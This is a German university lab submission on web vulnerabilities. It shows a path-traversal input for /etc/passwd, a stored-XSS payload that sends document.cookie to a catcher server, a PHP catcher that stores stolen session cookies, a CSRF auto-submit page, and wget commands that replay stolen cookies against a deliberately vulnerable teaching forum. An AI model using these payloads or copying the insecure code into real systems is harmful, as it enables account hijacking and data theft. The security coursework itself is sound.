# Resi Zettel 06 **Abgebende**: Robin Bundschuh, Rahel Müller, Fabian Odenthal **Link zum md**: <https://hackmd.io/@Plebshot/BysQRHucd> ## Aufgabe 1 - Path Traversal ### (1) Was bezeichnet man als Path Traversal Verwundbarkeit? > A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. [https://owasp.org/www-community/attacks/Path_Traversal] Also das Ausnutzen von Methoden (hauptsächlich "../"), um einen Pfad auf einem Server zu manipulieren, s. d. auf Ressourcen außerhalb des Server-Ordners zugegriffen wird. ### (2) Welches Schutzziele wird beim Ausnutzen einer Path Traversal Verwundbarkeit unmittelbar verletzt? In erste Linie wird die Vertraulichkeit verletzt, da mittels Path Traversal auf einer GET-Request vertrauliche Dateien ausgelesen werden können. Des Weiteren könnte auch die Integrität gefährdet sein, falls z. B. mittels PUT eine vom Nutzer spezifizierte Datei verändert werden soll. Letztlich kann aus ähnlichen Gründen die Verfügbarkeit gefährdet sein, falls es sich um das Löschen einer vom Nutzer spezifizierten Datei mittels DELETE handelt (die HTTP-Methoden hier nur als Beispiel, es gibt natürlich mehr Wege). ### (3) Betrachten Sie folgenden Python-Flask-Webservice. Erklären Sie das gewünschte Verhalten des Webservice ```python import os import flask from flask import redirect, request, send_file, render_template app = flask.Flask("File Browser") @app.route('/', methods=['GET']) def index(): filename = request.args.get('filename') if not filename: return render_template('download_cat.html', title = 'Download Cat') real_filename = os.path.join(os.getcwd(), filename) if not os.path.isfile(filename): return render_template('404.html', title = '404'), 404 return send_file(real_filename) ``` Der Server erstellt eine Route für `"GET /"`. Ohne spezifizierten `filename`-Parameter wird eine simple "Download Cat" HTML-Seite dargestellt. Beim Klicken des Downloadlinks wird der Parameter `filename` auf "cat.jpg" gesetzt und wir sehen eine tolle Katze (yay). Ist der Dateiname Invalide, wird eine 404-Seite zurückgegeben. ### (4) Erklären Sie warum der Webservice eine Path Traversal Verwundbarkeit besitzt Die Verwundbarkeit liegt darin, dass der Dateiname zwar auf valide Zeichen geprüft wird, allerdings "../" auch valide ist und wir somit in der Theorie uns durch das gesamte Dateisystem hangeln können (zumindest mit den Rechten des Servers). ### (5) Finden Sie eine Eingabe um durch die Path Traversal Verwundbarkeit des Webservice die Datei `/etc/passwd` zu erbeuten. Erklären Sie, warum Ihre Eingabe den gewünschten Effekt hat Machen wir eine GET-Request (entweder mit dem Browser oder z. B. `curl`) auf "http://127.0.0.1:5000/?filename=/../../../../../etc/passwd", erreichen wir das gewünschte Ziel. Natürlich ist die Anzahl der "../" abhängig von der Position des Server-Ordners im Filesystem, jedoch macht es nichts aus zu viele "../" zu benutzen, da man wiederholt auf "/" landet. ___ ## Aufgabe 2 - Serverseitige Schwachstelle, Theorie ### (1) Bridged Network für VM einrichten ![Forumserver Config](https://i.imgur.com/AQtnFf3.png) ### (2) Erreichen des Forums auf der Hostmaschine ![Forumserver Webseiten](https://i.imgur.com/5IYiF5F.png) ### (3) Anmelden per SSH in die VM ![Forumserver SSH](https://i.imgur.com/iMLU9lb.png) ### (4) Programmcode: Wie authentifiziert sich ein Benutzer? Im `forum` Unterordner sehen wir zuerst in `index.php`, dass versucht wird, den User mit einer Methode aus `auth.php` zu Authentifizieren. Beim Fehlschlag wird eine Nachricht mit Weiterleitung zu `login.php` ausgegeben. In `login.php` wird ein Eingabeformular für Nutzername und Passwort bereitgestellt, welche beim Submit eine POST-Request an `login.php` mit dem gesetzten Nutzernamen und Passwort schickt. Daraufhin wird mit der Datenbank von `db.php` versucht, den Cookie und Zeitstempel für den Nutzer zu aktualisieren, falls Passwort und Name übereinstimmen. Bei Erfolg wird der Cookie namens "sid" im Browser mit einer Ablaufzeit von 3600 Sekunden gesetzt und der Nutzer wird an `index.php` weitergeleitet. Die `authenticated()` Funktion aus `auth.php` überprüft, ob ein passender Cookie vorhanden ist. Falls nicht, wird Null zurückgegeben und der Cookie zurückgesetzt. Sonst gibt sie den dazugehörigen Nutzernamen zurück und aktualisiert den Zeitstempel sowie Cookie Timeout. Zurück in `index.php`, wird bei erfolgreicher Authentifizierung das Forum aus der Datenbank ausgegeben. Außerdem wird ein Eingabeformular bereitgestellt, welches beim Submit eine POST-Request mit dem Text an `post.php` sendet. Diese überprüft wiederum erneut mit `authenticated()` den Cookie. ### (5) Was kann man wie „klauen“, um sich Zugang zu einem fremden Account zu verschaffen? Wieso ist dies möglich? Sobald man an den Cookie eines anderen Nutzers gelangt, besitzt man vollen Zugriff auf dessen Account für eine Stunde (länger, falls regelmäßig authentifiziert wird). Das ist möglich, da die `authenticated()` Funktion nur anhand des passenden Cookies den Benutzernamen zurückgibt und die `login.php` Seite überspringt. ### (6) Gegen welche(n) Angriffsvektor(en) ist das Forum **nicht** anfällig? Begründen Sie Ihre Aussagen 1. **Persistent XSS**: Ist möglich, da der Textinput der User in keiner Form gefiltert oder validiert wird und beim Laden des Boards genau so wieder ausgegeben wird. Es können z. B. beliebige HTML-Tags injiziert werden. Mit `<script>alert("You got pwned")</script>` wird z. B. bei jedem Laden des Message Boards eine Popup Message aufgerufen. 2. **Non-Persistent XSS**: Scheint nicht möglich, da kein Inhalt einer URL direkt oder ohne validierung ausgegeben wird. Die einzigen Anfragen, welche Parameter erlauben, sind hier POST-Requests und selbst dort werden diese nur nach Validierung ausgegeben. 3. **PHP Code Injection**: Ist nicht möglich, da nirgends ein Userstring entweder als PHP Code evaluiert, als Script-Datei eingebunden, oder als Shell-Kommando weitergegeben wird (feel free to prove me wrong). 4. **SQL Injection**: ~~ist möglich, da der User String ungefiltert in der POST-Request an die Datenbankanfrage übergeben wird. Hilfreich: [SQL Injection Walkthrough](https://securiteam.com/securityreviews/5DP0N1P76E).~~ Nach etwas ausprobieren und [Stackoverflow Beiträgen](https://stackoverflow.com/questions/8263371/how-can-prepared-statements-protect-from-sql-injection-attacks) wurde rausgefunden, dass der `prepare()`, `execute()` Ansatz der Datenbank gegen klassische SQL-Injection schützt. 5. **Cross-Site-Request Forgery**: Ist möglich, da die Cookies für eine Session eine Stunde lang halten. Hat ein User eine aktive Session, so kann ein Angreifer ihn auf eine URL leiten, welche z.B. eine Self-Submitted POST-Request forged, die in seinem Namen eine Nachricht ins Forum stellt. [Cooles Video dazu](https://www.youtube.com/watch?v=eWEgUcHPle0&t=459s). 6. **Path Traversal**: Nicht möglich, da kein Userinput als Teil von Dateinamen/Pfaden verwendet wird. ___ ## Aufgabe 3 - Serverseitige Schwachstelle, Praxis ### (1) Implementieren Sie die Datei `/home/resi/forum/catcher/index.php` des VirtualHosts „Catcher“. Hier gibt es viele Möglichkeiten; die gestohlenen Zugangsdaten sollen dabei in die Datenbank eingetragen werden Der Catcher soll in diesem Fall einfach den gestohlenen Cookie als Parameter übergeben bekommen und in die Datenbank speichern. Wie dieser an den Catcher gesendet wird ist in (2) beschrieben. `catcher/index.php` ```php <html><body> <?php $cookie = $_GET["yoinked"]; if ($cookie) { $dbc = new PDO('mysql:host=localhost;dbname=catcher', "forumuser", "forumpw"); $stmt = $dbc->prepare("INSERT INTO phished_data (date, ip, cookie) VALUES (NOW(), ?, ?)"); $stmt->execute(array($_SERVER['REMOTE_ADDR'], $cookie)); } ?> </body></html> ``` ### (2) Nutzen Sie die gefundene Schwachstelle aus. Das Ergebnis sind „gestohlene“ Zugangsdaten Um an die Cookies zu gelangen benutzen wir eine Persistent XSS Verwundbarkeit. Wie in Aufgabe 2.6 gezeigt, können wir einfach Scripte in das Message Board schreiben, die beim Laden der Seite automatisch ausgeführt werden. ```html <script> fetch('http://192.168.0.247/catcher/index.php?yoinked=' + escape(document.cookie)); </script> ``` Die Adresse muss natürlich ggf. angepasst werden (kenne mich nicht gut mit php aus und fand es nicht worth `$_SERVER['REMOTE_ADDR']` reinzufuchteln, weil es in einem echten Szenario eh andere Adressen sind). Für diesen Angriff benötigt der Angreifer einen Account auf dem Message Board. Wir können aber einen Schritt weiter gehen und versuchen einen Nutzer auf eine Seite mit folgenden Inhalt zu schicken: `catcher/csrf.html`: ```html <html><body onload=csrf_form.submit()> <form action="http://192.168.0.247/forum/post.php" method="POST" id="csrf_form"> <input type="hidden" name="Text" value="Nothing suspicious going on.<script> fetch('http://192.168.0.247/catcher/index.php?yoinked=' + escape(document.cookie)); </script>" /> </form> </body></html> ``` Angenommen das Opfer, welches die Seite aufruft besitzt einen aktiven Cookie für das Forum, dann wird eine Cross-Site-Request Forgery ausgeführt. Dabei wird automatisch eine Form in seinem "Namen" mittels POST-Request an `forum/post.php` gesendet. Hierbei übergeben wir als Text für das Forum unseren maliziösen Code, der die XSS Verwundbarkeit ausnutzt. Nach Erfolg (und Klicken auf "Go back.") sehen wir im Message Board einen Eintrag mit dem Text, den wir vor dem Script spezifiziert haben: ![pwned_board](https://i.imgur.com/fkrk9Cy.png) ### (3) Die „gestohlenen“ Zugangsdaten sollten nun in der Datenbank stehen, diese können Sie sich unter `http://IP/catcher/dump.php` ausgeben lassen. Geben Sie die erhaltenen Daten in der Abgabe an ![stolen_cookies](https://i.imgur.com/Rr0NX1e.png) ### (4) Verwenden Sie die gestohlenen Informationen um mit dem Programm `wget` alle geschriebenen Nachrichten auszulesen. Die Nachrichten sollen ohne Anmeldung (d.h. ohne Authentifizierung mit Benutzername und Passwort) ausgelesen werden Zuerst gilt es rauszufinden, in welchem Syntax Cookies von `wget` gespeichert werden. Dafür wurde sich hier kurz als alice mittels `wget --save-cookies cookie.txt --post-data "Username=alice&Password=alice" http://192.168.0.247/forum/login.php` eingeloggt: ![cookie_syntax](https://i.imgur.com/mcoRlfQ.png) Nun können wir einfach in der Datei `cookie.txt` die `sid` durch einen unserer gestohlenen Cookies ersetzen und das Forum mittels `wget --load-cookies cookie.txt http://192.168.0.247/forum/` auslesen. ![breached_forum](https://i.imgur.com/LOMD0sP.png) ### (5) Schreiben Sie, ebenfalls ohne Anmeldung und mithilfe von `curl` oder `wget`, eine Nachricht in das Forum. Beschreiben Sie in der Abgabe kurz, welche Schritte durchgeführt wurden Wie bereits in der CSRF-Attacke beschrieben, benutzen wir eine POST-Request, um die Nachricht mittels des gestohlenen Cookies an `forum/post.php` zu senden. Also: 1. Cookie klauen 2. Cookie im richtigen Format in eine Datei schreiben 3. Datei an `wget` mit `--load-cookies` geben 4. mit `--post-data "Text='<Nachricht hier hin>'"` die Nachricht spezifizieren 5. das ganze an die Serveradresse mit `forum/post.php` senden Zusammen ergibt das: ```bash wget --load-cookies cookie.txt --post-data "Text='1337 HaXx0r was here'" http://192.168.0.247/forum/post.php ``` ___ ## Aufgabe 4 - Serverseitige Schwachstelle, Gegenmaßnahmen Schutz vor XSS Attacken ist nicht unbedingt trivial, wie in diesem [Video mit Zeitstempel](https://youtu.be/EoaDgUgS6QA?t=494) erklärt. Der `<script>`-Tag ist nicht der einzige Weg Javascript auszuführen. Es kann versucht werden, alle HTML-Tags zu filtern, jedoch verliert das Forum dann auch die Möglichkeit stylized User Text darzustellen (z.B. in Form von Markdown oder Rich-Text). Schutz vor Cross-Site-Request Forgery kann mittels randomisierten Token (Anti CSRF Tokens) geboten werden, da diese bei jeder Anfrage validiert werden müssen und ein Angreifer keinen einfachen Weg besitzt an diese ranzukommen. ___ ## Appendix: Programmcode für Aufgabe 2-4 `index.php`: ```php <html><body> <h2>Welcome hacker.</h2> A <a href="forum/">forum</a> to play with.<br> A <a href="catcher/">site</a> to drop phished stuff..<br> <p> <?php // prints e.g. 'Current PHP version: 4.1.1' echo 'Current PHP version: ' . phpversion(); ?> ``` `forum/auth.php`: ```php <?php // Returns Null if the current session is invalid // or the username which is associated to the current session. function authenticated() { $sid = ( isset($_COOKIE['sid']) ) ? $_COOKIE['sid'] : -1; global $dbc; $stmt = $dbc->prepare("SELECT name FROM users WHERE cookie = ? AND lastSeen >= NOW()-(3600)"); $stmt->execute(array($sid)); $num = $stmt->rowCount(); if ($num != 1) { // invalid session or timeout deauth(); return Null; } $stmt->setFetchMode(PDO::FETCH_NUM); $result = $stmt->fetch(); $current_user = $result[0]; // update lastseen $stmt = $dbc->prepare("UPDATE users SET lastseen = CURRENT_TIMESTAMP WHERE cookie = ?"); $stmt->execute(array($_COOKIE['sid'])); // set cookie with new timeout setCookie("sid", $_COOKIE['sid'], time()+3600); return $current_user; } function deauth() { setcookie("sid", "", time()-3600*24); // clear cookie } ?> ``` `forum/db.php`: ```php <?php $dbc = new PDO('mysql:host=localhost;dbname=forum', "forumuser", "forumpw"); // This is a good place for some DB error handling... ?> ``` `forum/index.php`: ```php <?php $head = '<html><head></head><body><h1>--::-- Welcome to the hacker-f0rum! --::--</h1>'; $tail = '</body></html>'; $form = '<form action="./post.php" method="post"> <table border="0" cellpadding="5" cellspacing="0"> <tr> <td align="right" valign="top">Ur msg:</td> <td><textarea name="Text" rows="10" cols="50"></textarea></td> </tr> <tr> <td align="right">Post?</td> <td> <input type="submit" value=" \'course! "> </td> </tr> </table> </form>'; include "db.php"; include "auth.php"; // user logged in? $current_user = authenticated(); print $head; if ($current_user == Null) { print "Not logged in or session timed out! Please <a href='login.php'>log in</a>." . $tail; exit(); } $stmt = $dbc->prepare("SELECT * FROM shoutbox ORDER by date ASC"); $stmt->execute(); $num = $stmt->rowCount(); print "<p style='text-align: right; font-size: x-small'><a href='logout.php'>Logout</a></p>"; print "<strong>$current_user</strong>, $num messages were posted from 31337-haxx0rs.<br><br>"; print "<table border='1' cellpadding='2' cellspacing='2'>"; print "<tr><th>Who?</th><th>When?</th><th>What?</th></tr>\n"; foreach ($stmt as $row) { print "<tr><td>" . $row['username'] . "</td><td>" . $row['date'] . "</td><td>" . $row['message'] . "</td></tr>\n"; } print "</table>\n" . $form . $tail; ?> ``` `forum/login.php`: ```php <?php // Some constant strings $head = '<html><head></head><body>'; $head_redirect = '<html><head><meta http-equiv="refresh" content="5; URL=./"></head>'; $tail = '</body></html>'; $form = ' <form action="./login.php" method="post"> <table border="0" cellpadding="2" cellspacing="0"> <tr> <td align="right">username:</td> <td><input name="Username" type="text" size="30" maxlength="30"></td> </tr> <tr> <td align="right">password:</td> <td><input name="Password" type="password" size="30" maxlength="30"></td> </tr> <td align="right"><input type="submit" value="Log me in"></td> <td></td> </tr> </table> </form>'; if ( !isset($_POST["Username"]) ) print $head . $form . $tail; // credentials sent with request? no else { // yes $success = False; include "db.php"; $cookie = md5(mt_rand() . mt_rand()); // generate (new) cookie and set it $stmt = $dbc->prepare("UPDATE users SET cookie = ?, lastseen = CURRENT_TIMESTAMP WHERE name = ? AND password = ?"); $stmt->execute(array($cookie, $_POST["Username"], $_POST["Password"])); $num = $stmt->rowCount(); if ($num != 1) { // supplied credentials are wrong... print $head . "<font color='red'>Wrong username or password. Try again.</font><br><br>" . $form . $tail; } else { // ok, set the new cookie and greet the user; redirect to the forum-page setCookie("sid", $cookie, time()+3600); print $head_redirect . 'Hello <strong>' . $_POST["Username"] . '</strong>, you will be <a href="./">redirect</a>ed in 5 seconds...' . $tail; } } ?> ``` `forum/logout.php`: ```php <?php include('auth.php'); deauth(); print '<html><head></head><body>Logged out. <a href="login.php">Log in again</a>.</body></html>' ?> ``` `forum/post.php`: ```php <?php include "db.php"; include "auth.php"; $current_user = authenticated(); $err = False; print "<html><head></head><body>"; if (! $current_user == Null) { $stmt = $dbc->prepare("INSERT INTO shoutbox (username, message) VALUES (?, ?)"); $stmt->execute(array($current_user, $_POST["Text"])); print 'Message posted. Go <a href="./">back</a>.'; } else print "Not logged in or session timed out! Please <a href='login.php'>log in</a>."; print "</body></html>"; ?> ``` `catcher/dump.php`: ```php <html><body> <?php $cookie = Null; // Insert code above to grab retrieved data from the XSS-request and put it into the DB. echo $cookie; if ($cookie) { $dbc = new PDO('mysql:host=localhost;dbname=catcher', "forumuser", "forumpw"); $stmt = $dbc->prepare("INSERT INTO phished_data (date, ip, cookie) VALUES (NOW(), ?, ?)"); $stmt->execute(array($_SERVER['REMOTE_ADDR'], $cookie)); } ?> </body></html> ``` `catcher/dump.php`: ```php <?php print "<html><head></head><body>"; print "<h2>Phished cookies</h2>"; $dbc = new PDO('mysql:host=localhost;dbname=catcher', "forumuser", "forumpw"); $stmt = $dbc->prepare("SELECT * FROM phished_data ORDER by date ASC"); $stmt->execute(); print "Found <strong>" . $stmt->rowCount() . "</strong> cookies in the database.<br><br>"; print "<table border='1' cellpadding='2' cellspacing='2'>"; print "<tr><th>When</th><th>IP</th><th>Cookie</th></tr>"; foreach ($stmt as $row) { print "<tr><td>" . $row['date'] . "</td><td>" . $row['ip'] . "</td><td>" . $row['cookie'] . "</td></tr>"; } print "</table></body></html>"; ?> ```